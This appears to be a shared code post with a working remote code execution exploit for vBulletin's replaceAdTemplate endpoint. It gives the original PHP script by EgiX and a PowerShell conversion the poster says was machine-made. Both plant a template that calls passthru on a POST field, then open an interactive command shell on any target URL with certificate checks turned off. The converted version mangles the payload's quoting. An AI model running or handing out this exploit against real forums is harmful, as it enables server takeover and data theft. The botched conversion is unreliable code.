vBulletin (replaceAdTemplate) Remote Code Execution Vulnerability.
EDUCATIONAL PURPOSE ONLY.
Taken from here
The original code was written in PHP, had to use Gemini 2.2 to convert it to PowerShell. Please check for any errors.
vBulletin (replaceAdTemplate) Remote Code Execution Vulnerability.
EDUCATIONAL PURPOSE ONLY.
Taken from here
The original code was written in PHP, had to use Gemini 2.2 to convert it to PowerShell. Please check for any errors.
<?php | |
/* | |
----------------------------------------------------------------- | |
vBulletin (replaceAdTemplate) Remote Code Execution Vulnerability | |
----------------------------------------------------------------- | |
author..............: Egidio Romano aka EgiX | |
mail................: n0b0d13s[at]gmail[dot]com | |
software link.......: https://invisioncommunity.com | |
+-------------------------------------------------------------------------+ | |
| This proof of concept code was written for educational purpose only. | | |
| Use it at your own risk. Author will be not responsible for any damage. | | |
+-------------------------------------------------------------------------+ | |
[-] Technical Writeup: | |
https://karmainsecurity.com/dont-call-that-protected-method-vbulletin-rce | |
*/ | |
set_time_limit(0); | |
error_reporting(E_ERROR); | |
print "\n+---------------------------------------------------------------------+"; | |
print "\n| vBulletin (replaceAdTemplate) Remote Code Execution Exploit by EgiX |"; | |
print "\n+---------------------------------------------------------------------+\n"; | |
if (!extension_loaded("curl")) die("\n[-] cURL extension required!\n\n"); | |
if ($argc != 2) | |
{ | |
print "\nUsage......: php $argv[0] <URL>\n"; | |
print "\nExample....: php $argv[0] http://localhost/vb/"; | |
print "\nExample....: php $argv[0] https://vbulletin.com/\n\n"; | |
die(); | |
} | |
$params = [ | |
"routestring" => "ajax/api/ad/replaceAdTemplate", | |
"styleid" => "1", | |
"location" => "rce", | |
"template" => "<vb:if condition='\"passthru\"(\$_POST[\"cmd\"])'></vb:if>" | |
]; | |
$ch = curl_init(); | |
curl_setopt($ch, CURLOPT_URL, $argv[1]); | |
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); | |
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); | |
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); | |
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($params)); | |
if (curl_exec($ch) !== "null") die("\n[-] Exploit failed, unable to create template!\n\n"); | |
$params = ["routestring" => "ajax/render/ad_rce"]; | |
while (1) | |
{ | |
print "\nvBulletin-shell# "; | |
if (($cmd = trim(fgets(STDIN))) == "exit") break; | |
$params["cmd"] = $cmd; | |
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($params)); | |
preg_match('/(.+)\{"template":/s', curl_exec($ch), $m) ? print $m[1] : die("\n[-] Exploit failed!\n\n"); | |
} |
#!/usr/bin/env pwsh | |
#Requires -PSVersion 6.0 # For -SkipCertificateCheck with Invoke-WebRequest and modern features. | |
<# | |
.SYNOPSIS | |
PowerShell script to test vBulletin replaceAdTemplate vulnerability. | |
.DESCRIPTION | |
This script attempts to create a template and then execute commands | |
via a vBulletin vulnerability related to ad template replacement. | |
It is a conversion of a PHP script originally by EgiX. | |
.PARAMETER Url | |
The base URL of the vBulletin installation. | |
Example: http://localhost/vb/ | |
Example: https://vbulletin.com/ | |
.EXAMPLE | |
.\vBulletin-replaceAdTemplate-RCE.ps1 -Url http://your-vbulletin-site.com/ | |
#> | |
param( | |
[Parameter(Mandatory = $true, HelpMessage = "Enter the target vBulletin URL (e.g., http://localhost/vb/)")] | |
[string]$Url | |
) | |
# Equivalent to PHP's error_reporting(E_ERROR) for script-halting behavior on errors. | |
# This makes PowerShell stop on terminating errors and most non-terminating errors if not caught. | |
$ErrorActionPreference = "Stop" | |
# Display banner | |
Write-Host "" # Mimics the leading newline from the PHP print statement | |
Write-Host "+---------------------------------------------------------------------+" | |
Write-Host "| vBulletin (replaceAdTemplate) TemplateReplaceTesting by EgiX |" | |
Write-Host "+---------------------------------------------------------------------+" | |
Write-Host "" # Mimics the trailing newline from the PHP print statement | |
# --- Prepare common parameters for Invoke-WebRequest --- | |
$baseIwrSplat = @{ | |
UseBasicParsing = $true # Recommended for consistency and to avoid IE engine on Windows PS if ever used there. | |
} | |
if ($Url.StartsWith("https://")) { | |
if ($PSVersionTable.PSVersion.Major -ge 6) { | |
# For PowerShell 6.0+ (pwsh), -SkipCertificateCheck is available for Invoke-WebRequest | |
$baseIwrSplat.Add("SkipCertificateCheck", $true) | |
Write-Verbose "HTTPS detected: -SkipCertificateCheck will be used (PS Version >= 6.0)." | |
} else { | |
# For older PowerShell versions (e.g., Windows PowerShell 5.1) on HTTPS | |
Write-Warning "HTTPS detected with older PowerShell version ($($PSVersionTable.PSVersion))." | |
Write-Warning "Attempting to set session-wide ServerCertificateValidationCallback to bypass SSL errors." | |
Write-Warning "This may not work in all environments or have security implications." | |
try { | |
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true } | |
Write-Verbose "ServerCertificateValidationCallback set to allow all certificates for this session." | |
} catch { | |
Write-Error "Failed to set ServerCertificateValidationCallback: $($_.Exception.Message)" | |
Write-Warning "HTTPS requests may fail if the certificate is not trusted and override failed." | |
} | |
} | |
} | |
# --- Initial Template Creation --- | |
# The literal string for the template is: <vb:if condition='"passthru"($_POST["cmd"])'></vb:if> | |
# In PowerShell single-quoted strings, single quotes are escaped by doubling them (''). | |
$templatePayload = '<vb:if condition=''""passthru""($_POST[""cmd""])''></vb:if>' | |
$initialParams = @{ | |
routestring = "ajax/api/ad/replaceAdTemplate" | |
styleid = "1" | |
location = "rce" | |
template = $templatePayload | |
} | |
Write-Host "[*] Attempting to create template on $Url..." | |
try { | |
$createTemplateSplat = @{ | |
Uri = $Url | |
Method = 'Post' | |
Body = $initialParams | |
} + $baseIwrSplat # Combine with base parameters (like SkipCertificateCheck) | |
$response = Invoke-WebRequest @createTemplateSplat | |
if ($response.Content -ne "null") { | |
Write-Error "[-] Testing failed, unable to create template! Server responded: $($response.Content | Out-String)" | |
exit 1 | |
} | |
Write-Host "[+] Template apparently created successfully." | |
} catch { | |
Write-Error "[-] Error during initial template creation request:" | |
Write-Error "[-] $($_.Exception.Message)" | |
if ($_.Exception.Response) { | |
$statusCode = $_.Exception.Response.StatusCode | |
$statusDescription = $_.Exception.Response.StatusDescription | |
Write-Error "[-] Server Response Code: $statusCode ($statusDescription)" | |
try { | |
$errorStream = $_.Exception.Response.GetResponseStream() | |
$streamReader = New-Object System.IO.StreamReader($errorStream) | |
$errorBody = $streamReader.ReadToEnd() | |
$streamReader.Close() | |
$errorStream.Close() | |
Write-Error "[-] Server Error Response Body: $errorBody" | |
} catch { | |
Write-Warning "[-] Could not read error response body." | |
} | |
} | |
exit 1 | |
} | |
# --- Command Execution Loop --- | |
$loopParamsBase = @{ | |
routestring = "ajax/render/ad_rce" | |
# 'cmd' will be added in the loop | |
} | |
Write-Host "[*] Starting command execution loop (type 'exit' to quit)." | |
while ($true) { | |
try { | |
# The PHP script adds a newline before the prompt. Read-Host will display the prompt directly. | |
# We can add Write-Host "" for the newline if precise visual match is needed, or include \n in prompt. | |
$commandToRun = Read-Host "`nvBulletin-shell >" # `n for newline before prompt | |
if ($commandToRun.Trim().ToLower() -eq "exit") { | |
Write-Host "[*] Exit command received." | |
break | |
} | |
$currentLoopParams = $loopParamsBase.Clone() # Clone to avoid modifying base for next iteration | |
$currentLoopParams.cmd = $commandToRun | |
$executeCmdSplat = @{ | |
Uri = $Url | |
Method = 'Post' | |
Body = $currentLoopParams | |
} + $baseIwrSplat # Combine with base parameters | |
$cmdResponse = Invoke-WebRequest @executeCmdSplat | |
# Regex from PHP: /(.+)\{"template":/s | |
# PowerShell equivalent: '(?s)(.+)\{"template":' | |
# (?s) is the DOTALL modifier, making . match newlines. | |
# \{ ensures { is literal. | |
$regexPattern = '(?s)(.+)\{"template":' | |
if ($cmdResponse.Content -match $regexPattern) { | |
# Output the captured group (command output), trimming whitespace | |
Write-Host $Matches[1].Trim() | |
} else { | |
Write-Error "[-] Command execution failed or expected pattern not found in response." | |
Write-Verbose "[-] Full response content for debugging: $($cmdResponse.Content | Out-String)" | |
# Original PHP script dies here. | |
exit 1 | |
} | |
} catch { | |
Write-Error "[-] Error during command execution request:" | |
Write-Error "[-] $($_.Exception.Message)" | |
if ($_.Exception.Response) { | |
$statusCode = $_.Exception.Response.StatusCode | |
$statusDescription = $_.Exception.Response.StatusDescription | |
Write-Error "[-] Server Response Code: $statusCode ($statusDescription)" | |
try { | |
$errorStream = $_.Exception.Response.GetResponseStream() | |
$streamReader = New-Object System.IO.StreamReader($errorStream) | |
$errorBody = $streamReader.ReadToEnd() | |
$streamReader.Close() | |
$errorStream.Close() | |
Write-Error "[-] Server Error Response Body: $errorBody" | |
} catch { | |
Write-Warning "[-] Could not read error response body." | |
} | |
} | |
# Original PHP script dies on failure within the loop. | |
exit 1 | |
} | |
} | |
Write-Host "[*] Script finished." |